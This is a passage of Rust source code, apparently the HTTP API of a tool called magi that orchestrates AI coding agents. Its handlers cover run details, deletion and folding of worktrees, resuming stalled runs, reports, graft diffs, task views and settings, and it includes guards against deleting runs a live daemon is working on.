4491            superseded_by,
4492            latest_attempt,
4493            task,
4494            state,
4495        }
4496    }
4497}
4498
4499/// Core content needs neither the queue nor question/liveness evidence.
4500async fn run_core(
4501    State(ui): State<Arc<Ui>>,
4502    Path(id): Path<String>,
4503) -> ApiResult<Json<RunDetailView>> {
4504    blocking(move || {
4505        let id = resolve_run(&ui.runs, &id)?;
4506        let state = read_run(&ui.runs, &id)?;
4507        Ok(Json(RunDetailView::of(
4508            state,
4509            false,
4510            crate::run::Liveness::Unknown,
4511            None,
4512            None,
4513            None,
4514        )))
4515    })
4516    .await
4517}
4518
4519/// Lightweight observation: never replaces the evidence used by controls.
4520async fn run_progress(
4521    State(ui): State<Arc<Ui>>,
4522    Path(id): Path<String>,
4523) -> ApiResult<Json<serde_json::Value>> {
4524    blocking(move || {
4525        let id = resolve_run(&ui.runs, &id)?;
4526        let state = read_run(&ui.runs, &id)?;
4527        let live = state.liveness(crate::daemon::is_working_on(
4528            &ui.home,
4529            &id,
4530            Timestamp::now(),
4531        ));
4532        let waiting = !ui.questions.open_for(&id).is_empty();
4533        Ok(Json(serde_json::json!({
4534            "id": id, "updated_at": state.updated_at, "live": live,
4535            "observed_at": Timestamp::now(),
4536            "progress": crate::run_progress::build(&state, live, waiting),
4537        })))
4538    })
4539    .await
4540}
4541
4542async fn run_detail(
4543    State(ui): State<Arc<Ui>>,
4544    Path(id): Path<String>,
4545) -> ApiResult<Json<RunDetailView>> {
4546    blocking(move || {
4547        let id = resolve_run(&ui.runs, &id)?;
4548        let state = read_run(&ui.runs, &id)?;
4549        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4550        let live = state.liveness(daemon_claims);
4551        crate::queue::record_ids(ui.questions.root(), "json")?;
4552        let waiting = ui
4553            .questions
4554            .list()
4555            .iter()
4556            .any(|q| q.run == id && q.status.open());
4557        let max_attempts = daemon::Opts::default().max_attempts;
4558
4559        let matching_task = ui.find_task_for_run(&id)?;
4560
4561        let superseded_by = state
4562            .pr_taken_over_by
4563            .clone()
4564            .or_else(|| {
4565                matching_task
4566                    .as_ref()
4567                    .and_then(|t| t.successor_of(&id).cloned())
4568            })
4569            .as_deref()
4570            .map(crate::run::short_of)
4571            .map(str::to_owned);
4572
4573        // Best-effort: an unreadable head (mid-write, or deleted) just means
4574        // this run's own status stands on its own, same as no later attempt
4575        // existing at all.
4576        let latest_attempt = matching_task
4577            .as_ref()
4578            .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4579            .and_then(|head_id| {
4580                read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4581                    short: head.short().to_owned(),
4582                    resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4583                    status: head.status,
4584                    done: head.status.done(),
4585                    id: head.id,
4586                })
4587            });
4588
4589        let task = matching_task
4590            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4591
4592        Ok(Json(RunDetailView::of(
4593            state,
4594            waiting,
4595            live,
4596            superseded_by,
4597            latest_attempt,
4598            task,
4599        )))
4600    })
4601    .await
4602}
4603
4604/// `DELETE /api/runs/{id}`.
4605///
4606/// Remove a finished, folded run directory along with its artifacts.
4607/// Running runs and runs with unfolded candidate worktrees/branches cannot be
4608/// deleted. This never touches git worktrees or branches - except for a run
4609/// whose state this build cannot read at all, where there is no candidate
4610/// list to check and the wholesale removal `magi fold` already uses for that
4611/// case is the only meaningful "delete".
4612async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4613    let (id, unreadable) = {
4614        let ui = Arc::clone(&ui);
4615        blocking(move || {
4616            let id = resolve_run(&ui.runs, &id)?;
4617            match read_run(&ui.runs, &id) {
4618                Ok(state) => {
4619                    let in_flight =
4620                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4621                    state
4622                        .ensure_can_delete(in_flight)
4623                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4624                    let dir = ui.runs.join(&id);
4625                    std::fs::remove_dir_all(&dir)
4626                        .with_context(|| format!("remove run directory {}", dir.display()))?;
4627                    Ok((id, false))
4628                }
4629                Err(_) => {
4630                    // Unreadable: there is no candidate list to guard on, so
4631                    // a live daemon's claim is the only thing left to check -
4632                    // the same rule `run_fold` applies for the same reason.
4633                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4634                        return Err(ApiError::conflict(format!(
4635                            "run {id} is being worked on by a live daemon right now"
4636                        )));
4637                    }
4638                    Ok((id, true))
4639                }
4640            }
4641        })
4642        .await?
4643    };
4644    if unreadable {
4645        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4646            .await
4647            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4648    }
4649    let ui = Arc::clone(&ui);
4650    let done = id.clone();
4651    blocking(move || {
4652        // The agent that asked died with the run, so an open question would
4653        // keep asking the operator for a decision nobody can deliver.
4654        ui.questions.abandon_for_run(
4655            &done,
4656            &format!("run {done} was deleted, so nothing is waiting for this answer"),
4657        )?;
4658        Ok(())
4659    })
4660    .await?;
4661    Ok(StatusCode::NO_CONTENT)
4662}
4663
4664/// `POST /api/runs/{id}/fold`.
4665///
4666/// Remove a run's candidate worktrees and branches, keeping its record.
4667///
4668/// This exists because the deck answered "delete this run" with *"Candidates
4669/// must be folded before deleting. Run `magi fold` first."* — a phone being
4670/// told to open a terminal, in the one product whose point is that it does
4671/// not need one. The runs an operator most wants gone are the stalled and
4672/// blocked ones, and those are exactly the runs still holding worktrees:
4673/// three of them here held 53 GB.
4674///
4675/// The winner's tree goes too. A fold is what someone asks for when they are
4676/// finished with a run, and leaving one tree behind would leave the delete
4677/// button disabled for the same reason as before.
4678///
4679/// Refused while a live daemon is working on the run, on the rule that guards
4680/// deletion: folding underneath a running agent would pull the tree it is
4681/// editing out from under it.
4682///
4683/// A run whose state this build cannot read at all falls back to
4684/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
4685/// selectively, so the whole record's worktree goes wholesale, exactly what
4686/// `magi fold` does on the command line for the same run.
4687async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4688    let (id, state) = {
4689        let ui = Arc::clone(&ui);
4690        blocking(move || {
4691            let id = resolve_run(&ui.runs, &id)?;
4692            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4693                return Err(ApiError::conflict(format!(
4694                    "run {id} is being worked on by a live daemon right now"
4695                )));
4696            }
4697            let state = read_run(&ui.runs, &id).ok();
4698            Ok((id, state))
4699        })
4700        .await?
4701    };
4702    let removed = match state {
4703        Some(mut state) => {
4704            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4705                .await
4706                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4707            // Nothing left to remove is not the same thing as nothing left to
4708            // do — see `clean::clear_abandoned_active`'s own doc for the run
4709            // this exists for: worktrees already gone, but a killed process
4710            // left active seats nobody will ever answer for.
4711            if removed.is_empty() {
4712                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4713                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4714            }
4715            removed
4716        }
4717        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4718            .await
4719            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4720    };
4721    Ok(Json(FoldView {
4722        run: id,
4723        removed_count: removed.len(),
4724        removed,
4725    }))
4726}
4727
4728/// What a fold took away, so the deck can say so rather than only re-render.
4729#[derive(Debug, Serialize)]
4730struct FoldView {
4731    run: String,
4732    /// Worktree paths and branch names removed, in the order they went.
4733    removed: Vec<String>,
4734    removed_count: usize,
4735}
4736
4737/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
4738/// merged outside of `land::land`'s own loop.
4739#[derive(Debug, Deserialize)]
4740struct FoldMergedBody {
4741    #[serde(default)]
4742    pr_url: String,
4743}
4744
4745/// `POST /api/runs/{id}/fold-merged`.
4746///
4747/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
4748/// `Blocked` with `merge: null` because magi never got as far as opening a
4749/// pull request of its own (a title over GitHub's length limit, `gh pr
4750/// create` unreachable, a stale token), which the operator then finished by
4751/// hand on a pull request magi never recorded. The "Run actions" sheet used
4752/// to have no way to tell it about that pull request short of a terminal and
4753/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
4754/// this exists and what it deliberately does not do (`bump::after_merge`).
4755///
4756/// Refused, like [`run_fold`], while a live daemon is working on the run: the
4757/// correction rewrites the same `status`/`merge` fields a running graph would
4758/// be writing to on its own.
4759///
4760/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
4761/// calls plus a fold, seconds of work, and the phone should get its answer
4762/// (which pull request it recorded, and what changed) in the same round
4763/// trip rather than learning it from the change stream.
4764async fn run_fold_merged(
4765    State(ui): State<Arc<Ui>>,
4766    Path(id): Path<String>,
4767    Json(body): Json<FoldMergedBody>,
4768) -> ApiResult<Json<FoldMergedView>> {
4769    let pr_url = body.pr_url.trim().to_owned();
4770    if pr_url.is_empty() {
4771        return Err(ApiError::bad_request("pr_url is required"));
4772    }
4773    let (id, mut state) = {
4774        let ui = Arc::clone(&ui);
4775        blocking(move || {
4776            let id = resolve_run(&ui.runs, &id)?;
4777            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4778                return Err(ApiError::conflict(format!(
4779                    "run {id} is being worked on by a live daemon right now"
4780                )));
4781            }
4782            let state = read_run(&ui.runs, &id)?;
4783            Ok((id, state))
4784        })
4785        .await?
4786    };
4787    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4788        .await
4789        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4790    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4791        .await
4792        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4793    Ok(Json(FoldMergedView {
4794        run: id,
4795        before: before.as_str().to_owned(),
4796        after: after.as_str().to_owned(),
4797        removed,
4798    }))
4799}
4800
4801/// What [`run_fold_merged`] did, so the deck can say so.
4802#[derive(Debug, Serialize)]
4803struct FoldMergedView {
4804    run: String,
4805    /// `status` before the correction — normally `"blocked"`.
4806    before: String,
4807    /// `status` after — normally `"merged"`.
4808    after: String,
4809    /// Worktree paths and branch names the trailing fold removed.
4810    removed: Vec<String>,
4811}
4812
4813/// `POST /api/runs/{id}/resume`.
4814///
4815/// Carry a stalled run on from where it stopped, in the background.
4816///
4817/// A stalled card says "the work is kept" and used to offer no way to act on
4818/// that: the candidates are built and paid for, and continuing means re-asking
4819/// only the seats whose absence collapsed the panel. The alternative an
4820/// operator actually had was releasing the task, which competes three fresh
4821/// implementations against work that already exists.
4822///
4823/// **202, not 200.** A resume runs agents for minutes; holding the connection
4824/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
4825/// phone learns the outcome from the change stream.
4826///
4827/// Refused when the loop is running at all, not merely when it is on this run.
4828/// The scarce resource is the agent CLIs' quota, and a tap that quietly
4829/// started a second graph on top of whatever the loop is already driving —
4830/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
4831/// allows — would spend that quota twice over for no extra throughput.
4832async fn run_resume(
4833    State(ui): State<Arc<Ui>>,
4834    Path(id): Path<String>,
4835) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4836    let admission = ui.begin_admission()?;
4837    admitted(admission, async move {
4838        let (id, state) = {
4839            let ui = Arc::clone(&ui);
4840            blocking(move || {
4841                let id = resolve_run(&ui.runs, &id)?;
4842                let state = read_run(&ui.runs, &id)?;
4843                Ok((id, state))
4844            })
4845            .await?
4846        };
4847        crate::resume::validate_unqueued(&ui.home, &id)
4848            .map_err(|e| ApiError::conflict(e.to_string()))?;
4849        let _resume = ui.begin_resume(&id)?;
4850
4851        crate::resume::start(&ui.home, id.clone())
4852            .await
4853            .map_err(ApiError::from)?;
4854        // The same shape the list route returns, so the phone updates the card it
4855        // already has rather than learning a second schema for one button.
4856        let queued = RunSummary::of(
4857            &state,
4858            !ui.questions.open_for(&id).is_empty(),
4859            state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4860        );
4861        Ok((StatusCode::ACCEPTED, Json(queued)))
4862    })
4863    .await
4864}
4865
4866async fn run_report(
4867    State(ui): State<Arc<Ui>>,
4868    Path(id): Path<String>,
4869) -> ApiResult<impl IntoResponse> {
4870    let text = blocking(move || {
4871        let id = resolve_run(&ui.runs, &id)?;
4872        // Colour is off for the whole process, set once in `serve`. Rendering
4873        // is CPU work over the full state, which is the other reason this is
4874        // not on the executor.
4875        let state = read_run(&ui.runs, &id)?;
4876        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4877        let live = state.liveness(daemon_claims);
4878        Ok(format!(
4879            "{}{}",
4880            report::run(&state),
4881            report::active_seats(&state, live)
4882        ))
4883    })
4884    .await?;
4885    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4886}
4887
4888/// The structured twin of [`run_report`]: the same state, as sections the UI
4889/// draws as cards. An unreadable run answers with the same error the text
4890/// route does; it is never turned into an empty report.
4891async fn run_report_json(
4892    State(ui): State<Arc<Ui>>,
4893    Path(id): Path<String>,
4894) -> ApiResult<Json<crate::report_view::RunReportView>> {
4895    let view = blocking(move || {
4896        let id = resolve_run(&ui.runs, &id)?;
4897        let state = read_run(&ui.runs, &id)?;
4898        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4899        // Only a record that lacks the structured details reads `artifacts/`.
4900        let recovered = state.graft.as_ref().map(|_| {
4901            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4902        });
4903        Ok(crate::report_view::build_with(
4904            &state,
4905            state.liveness(daemon_claims),
4906            recovered.as_ref(),
4907        ))
4908    })
4909    .await?;
4910    Ok(Json(view))
4911}
4912
4913/// Archive access uses validated run-owned records, never a request-supplied path.
4914async fn run_seat_evidence(
4915    State(ui): State<Arc<Ui>>,
4916    Path(id): Path<String>,
4917) -> ApiResult<impl IntoResponse> {
4918    let id = resolve_run(&ui.runs, &id)?;
4919    let heads = crate::retention::seat_heads(&ui.home, &id)
4920        .await
4921        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
4922    Ok(Json(heads))
4923}
4924
4925async fn run_seat_diff(
4926    State(ui): State<Arc<Ui>>,
4927    Path((id, head)): Path<(String, String)>,
4928) -> ApiResult<impl IntoResponse> {
4929    let id = resolve_run(&ui.runs, &id)?;
4930    let patch = crate::retention::seat_diff(&ui.home, &id, &head)
4931        .await
4932        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
4933    Ok((
4934        [
4935            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4936            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4937        ],
4938        patch,
4939    ))
4940}
4941
4942/// Most of a graft diff the route returns.
4943const GRAFT_DIFF_MAX: usize = 400 * 1024;
4944/// How long `git diff` may run.
4945const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4946
4947/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
4948/// come from the run record, never from the request.
4949async fn run_graft_diff(
4950    State(ui): State<Arc<Ui>>,
4951    Path(id): Path<String>,
4952) -> ApiResult<impl IntoResponse> {
4953    let (repo, pre, post) = blocking(move || {
4954        let id = resolve_run(&ui.runs, &id)?;
4955        let state = read_run(&ui.runs, &id)?;
4956        let g = state
4957            .graft
4958            .as_ref()
4959            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4960        let post = g
4961            .post
4962            .clone()
4963            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4964        Ok((state.repo.clone(), g.pre.clone(), post))
4965    })
4966    .await?;
4967    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4968    if !hex(&pre) || !hex(&post) {
4969        return Err(ApiError::not_found("the recorded commits are not valid"));
4970    }
4971    let out = tokio::time::timeout(
4972        GRAFT_DIFF_TIMEOUT,
4973        crate::git::git_raw(
4974            &repo,
4975            &[
4976                "diff",
4977                "--no-color",
4978                "--no-ext-diff",
4979                "-M",
4980                &pre,
4981                &post,
4982                "--",
4983            ],
4984        ),
4985    )
4986    .await
4987    .map_err(|_| ApiError::not_found("git diff timed out"))?
4988    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4989    if out.code != Some(0) {
4990        return Err(ApiError::not_found(
4991            "the recorded commits are no longer in the repository",
4992        ));
4993    }
4994    let mut body = out.stdout;
4995    if body.len() > GRAFT_DIFF_MAX {
4996        let mut cut = GRAFT_DIFF_MAX;
4997        while !body.is_char_boundary(cut) {
4998            cut -= 1;
4999        }
5000        body.truncate(cut);
5001        body.push_str("\n... diff truncated ...");
5002    }
5003    Ok((
5004        [
5005            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
5006            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5007        ],
5008        body,
5009    ))
5010}
5011
5012/// A task as the UI sees it.
5013///
5014/// The whole task, plus the two things the client would otherwise have to
5015/// reimplement: the human-readable source and the status string. Nothing is
5016/// removed - the phone shows `last_error` and the run history verbatim.
5017#[derive(Debug, Serialize)]
5018struct TaskView {
5019    #[serde(flatten)]
5020    task: Task,
5021    source_label: String,
5022    reassignment_notes: Vec<String>,
5023    source_link: Option<SourceLink>,
5024    status_str: &'static str,
5025    /// The instruction, parsed as markdown, for the Queue card's "Full
5026    /// instruction" panel. `task.instruction` is unchanged and still carries
5027    /// the raw text.
5028    instruction_md: Vec<md::Node>,
5029    /// For a blocked task, what it waits on with each dependency's state, e.g.
5030    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
5031    /// recurses; empty for every other status.
5032    waits_on: Vec<String>,
5033    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
5034    /// behind - non-empty means nothing in the loop will ever run it.
5035    stuck_roots: Vec<String>,
5036    blockers: Vec<crate::blockers::BlockerView>,
5037    recovery: Option<String>,
5038}
5039
5040impl From<Task> for TaskView {
5041    fn from(task: Task) -> Self {
5042        Self {
5043            source_label: task.source.label(),
5044            reassignment_notes: Vec::new(),
5045            source_link: source_link(&task.source),
5046            status_str: task.status.as_str(),
5047            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
5048            waits_on: Vec::new(),
5049            stuck_roots: Vec::new(),
5050            blockers: Vec::new(),
5051            recovery: task_recovery(&task),
5052            task,
5053        }
5054    }
5055}
5056
5057impl TaskView {
5058    fn with_recovery_decisions(mut self, questions: &ask::Questions) -> Self {
5059        if matches!(self.task.status, TaskStatus::Held | TaskStatus::Blocked) {
5060            let pending = crate::blockers::Inventory::recovery_views(&self.task, questions);
5061            if !pending.is_empty() {
5062                self.recovery = Some(format!(
5063                    "Recovery decisions are pending. Resolve or apply them through the existing controls below before triage can reconsider recovery. Disk recovery alone will not resume this task. {}",
5064                    self.recovery.as_deref().unwrap_or_default()
5065                ));
5066            }
5067            for decision in pending {
5068                self.blockers.retain(|view| view.id != decision.id);
5069                self.blockers.push(decision);
5070            }
5071        }
5072        self
5073    }
5074
5075    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
5076        let waits_on = inv.waits_on(&task);
5077        let stuck_roots = inv
5078            .stuck_roots(&task)
5079            .iter()
5080            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
5081            .collect();
5082        Self {
5083            blockers: inv.blocker_views(&task),
5084            waits_on,
5085            stuck_roots,
5086            ..Self::from(task)
5087        }
5088    }
5089}
5090
5091fn task_recovery(task: &Task) -> Option<String> {
5092    use crate::queue::{HoldSource, TaskStatus};
5093    if !matches!(task.status, TaskStatus::Blocked | TaskStatus::Held) {
5094        return None;
5095    }
5096    let mut text = String::new();
5097    if task.status == TaskStatus::Blocked {
5098        text.push_str("Resolve each dependency below through its supported controls. Hold overrides this dependency wait and clears its dependency references. A later Release can queue the task even if those dependencies are unfinished; Hold does not resolve them. ");
5099        let restored = match task.blocked_from {
5100            Some(TaskStatus::Running) => TaskStatus::Queued,
5101            Some(status) => status,
5102            None if task.hold_reason.is_some() || task.hold_source.is_some() => TaskStatus::Held,
5103            None => TaskStatus::Queued,
5104        };
5105        text.push_str(&format!(
5106            "After all dependencies resolve, the scheduler restores {}. ",
5107            restored.as_str()
5108        ));
5109        if restored != TaskStatus::Held {
5110            return Some(text);
5111        }
5112    }
5113    text.push_str(match task.hold_source {
5114        Some(HoldSource::Manual) => "Manual hold: an operator must explicitly Release when ready.",
5115        Some(HoldSource::Machine) if task.has_disk_capacity_cause() || crate::triage::disk_wait_eligible(task) =>
5116            "Disk wait (automatically monitored): the same task resumes when disk floors and output reservations permit. Recorded figures describe the hold time, not current capacity; triage rechecks admission automatically. Untouched automatic disk triage questions are superseded without an owner answer; owner decisions and unrelated approvals still require explicit resolution.",
5117        Some(HoldSource::Machine) => "Machine hold: triage rechecks supported recovery conditions; otherwise resolve the recovery decision in the owning task chat.",
5118        None => "Hold origin unknown: inspect the recorded reason and task chat before explicitly releasing.",
5119    });
5120    Some(text)
5121}
5122
5123/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
5124/// its absence, leaves the cache to decide.
5125#[derive(Debug, Default, Deserialize)]
5126#[serde(default)]
5127struct ReposQuery {
5128    refresh: u8,
5129}
5130
5131/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
5132/// listing `magi repos` prints at a terminal.
5133///
5134/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
5135/// so an edit to `magi.toml` takes effect without a restart, the same
5136/// reasoning [`config_for`] documents for the talk routes.
5137async fn repos_list(
5138    State(ui): State<Arc<Ui>>,
5139    Query(q): Query<ReposQuery>,
5140) -> ApiResult<Json<Vec<repos::Repo>>> {
5141    let refresh = q.refresh != 0;
5142    blocking(move || {
5143        let (cfg, _) = Config::discover(&ui.repo, None)?;
5144        Ok(Json(ui.repos_cache.list(
5145            &cfg.repos.roots,
5146            Duration::from_secs(cfg.repos.scan_ttl),
5147            refresh,
5148        )))
5149    })
5150    .await
5151}
5152
5153/// Optional context, restricted to the server's known checkouts.
5154#[derive(Debug, Default, Deserialize)]
5155struct SettingsQuery {
5156    repo: Option<PathBuf>,
5157}
5158
5159/// Always discover against the server's original context, never the selection.
5160/// If that config is broken, retain the default context and machine-only roots
5161/// so the settings error contract and recovery picker remain available.
5162fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
5163    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
5164        let paths: Vec<PathBuf> = ui
5165            .machine_config
5166            .iter()
5167            .filter(|p| p.is_file())
5168            .cloned()
5169            .collect();
5170        if paths.is_empty() {
5171            Ok(Config::autodetected())
5172        } else {
5173            Config::load_layers(&paths)
5174        }
5175    });
5176    let mut known = cfg
5177        .map(|cfg| {
5178            ui.repos_cache.list(
5179                &cfg.repos.roots,
5180                Duration::from_secs(cfg.repos.scan_ttl),
5181                refresh,
5182            )
5183        })
5184        .unwrap_or_default();
5185    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
5186    if !known.iter().any(|r| r.path == path) {
5187        known.push(repos::Repo {
5188            name: path
5189                .file_name()
5190                .unwrap_or_default()
5191                .to_string_lossy()
5192                .into_owned(),
5193            path,
5194        });
5195    }
5196    known
5197}
5198
5199fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
5200    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
5201    let canonical = requested.canonicalize().ok();
5202    let mut known = settings_repositories(ui, false);
5203    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
5204    if !known.iter().any(matches) {
5205        known = settings_repositories(ui, true);
5206    }
5207    let repo = known
5208        .iter()
5209        .find(|r| matches(r))
5210        .map(|r| r.path.clone())
5211        .ok_or_else(|| ApiError {
5212            text_reason: None,
5213            status: StatusCode::UNPROCESSABLE_ENTITY,
5214            message: "Choose a known repository from the Settings selector.".to_owned(),
5215        })?;
5216    Ok((repo, known))
5217}
5218
5219/// `GET /api/settings` - the effective role assignments and roster, with the
5220/// layer each came from. A config that fails to load answers 200 with an
5221/// `error`, so the screen can say so instead of drawing empty lists.
5222async fn settings_get(
5223    State(ui): State<Arc<Ui>>,
5224    Query(q): Query<SettingsQuery>,
5225) -> ApiResult<Json<settings::SettingsView>> {
5226    blocking(move || {
5227        let (repo, known) = settings_context(&ui, q)?;
5228        Ok(Json(settings::view_with_repos(
5229            &repo,
5230            ui.machine_config.as_deref(),
5231            &known,
5232        )))
5233    })
5234    .await
5235}
5236
5237/// The body of `PUT /api/settings/roles`.
5238#[derive(Debug, Deserialize)]
5239#[serde(deny_unknown_fields)]
5240struct RolesBody {
5241    /// The `revision` the client last read.
5242    revision: String,
5243    /// Role key to its new ids; an empty list resets the key to its default.
5244    #[serde(default)]
5245    roles: std::collections::BTreeMap<String, Vec<String>>,
5246    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
5247    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
5248    /// words (422) instead of as a deserialization error.
5249    #[serde(default)]
5250    counts: std::collections::BTreeMap<String, serde_json::Value>,
5251}
5252
5253/// `PUT /api/settings/roles` - save role assignments to the machine config.
5254///
5255/// The write target is `ui.machine_config` and nothing in the body can change
5256/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
5257/// 422 with the reason in words.
5258async fn settings_put_roles(
5259    State(ui): State<Arc<Ui>>,
5260    Query(q): Query<SettingsQuery>,
5261    body: std::result::Result<Json<RolesBody>, JsonRejection>,
5262) -> ApiResult<Json<settings::SettingsView>> {
5263    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5264    blocking(move || {
5265        let (repo, known) = settings_context(&ui, q)?;
5266        settings::save_with_repos(
5267            &repo,
5268            ui.machine_config.as_deref(),
5269            &body.revision,
5270            &body.roles,
5271            &body.counts,
5272            &known,
5273        )
5274        .map(Json)
5275        .map_err(|e| match e {
5276            settings::SaveError::Conflict(m) => ApiError::conflict(m),
5277            settings::SaveError::Refused(m) => ApiError {
5278                text_reason: None,
5279                status: StatusCode::UNPROCESSABLE_ENTITY,
5280                message: m,
5281            },
5282            settings::SaveError::Internal(m) => ApiError::internal(m),
5283        })
5284    })
5285    .await
5286}
5287
5288async fn queue_list(
5289    State(ui): State<Arc<Ui>>,
5290    Query(q): Query<ListQuery>,
5291) -> ApiResult<Json<Vec<TaskView>>> {
5292    blocking(move || {
5293        let tasks = ui.queue.list();
5294        let inv =
5295            crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
5296        Ok(Json(
5297            tasks
5298                .into_iter()
5299                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
5300                .map(|t| TaskView::with_inventory(t, &inv))
5301                .collect(),
5302        ))
5303    })
5304    .await
5305}
5306
5307/// History pages read a bounded number of records; the first conversation
5308/// page also includes every open talk. Cursors advance through a frozen snapshot,
5309/// including corrupt rows, so skipped/deleted records cannot repeat a page.
5310/// Concurrent inserts are reconciled by a trailing store refresh.
5311#[derive(Debug, Default, Deserialize)]
5312struct PageQuery {
5313    before: Option<String>,
5314}
5315
5316#[derive(Serialize)]
5317struct StorePage<T> {
5318    rows: Vec<T>,
5319    next: Option<String>,
5320}
5321
5322const STORE_PAGE_SIZE: usize = 16;
5323
5324/// Freeze membership and the initial open/history boundary for a cursor walk.
5325/// Returned rows are read fresh; writes/deletions during the walk are reconciled by
5326/// the next store revision. Never rescan the entire directory for every page.
5327#[derive(Debug)]
5328struct ListWalk {
5329    token: u64,
5330    talks: bool,
5331    opened: std::time::Instant,
5332    ids: Arc<Vec<String>>,
5333    initial_end: usize,
5334}
5335
5336fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
5337    page_ids_with(ui, talks, q, open_talk_ids)
5338}
5339
5340fn page_ids_with(
5341    ui: &Ui,
5342    talks: bool,
5343    q: PageQuery,
5344    classify: impl FnOnce(&Ui, &[String]) -> std::collections::HashSet<String>,
5345) -> ApiResult<(Vec<String>, Option<String>)> {
5346    let mut walks = ui
5347        .monitor
5348        .list_walks
5349        .lock()
5350        .unwrap_or_else(PoisonError::into_inner);
5351    walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5352    let (token, ids, offset, initial_end) = if let Some(cursor) = q.before {
5353        let (token, offset) = cursor
5354            .split_once(':')
5355            .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
5356        let token = token
5357            .parse::<u64>()
5358            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5359        let offset = offset
5360            .parse::<usize>()
5361            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5362        let walk = walks
5363            .iter()
5364            .find(|walk| walk.token == token && walk.talks == talks)
5365            .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
5366        (token, walk.ids.clone(), offset, walk.initial_end)
5367    } else {
5368        // Header I/O must not hold the snapshot registry shared with queue
5369        // pagination or with clients continuing an existing history walk.
5370        drop(walks);
5371        let root = if talks {
5372            ui.talks.root()
5373        } else {
5374            ui.queue.root()
5375        };
5376        let mut ids = crate::queue::record_ids(root, "json")?;
5377        ids.sort_unstable_by(|a, b| b.cmp(a));
5378        let initial_end = if talks {
5379            let open = classify(ui, &ids);
5380            // Stable partition: ID order is only the existing membership order,
5381            // never a substitute for the UI's creation-time ordering.
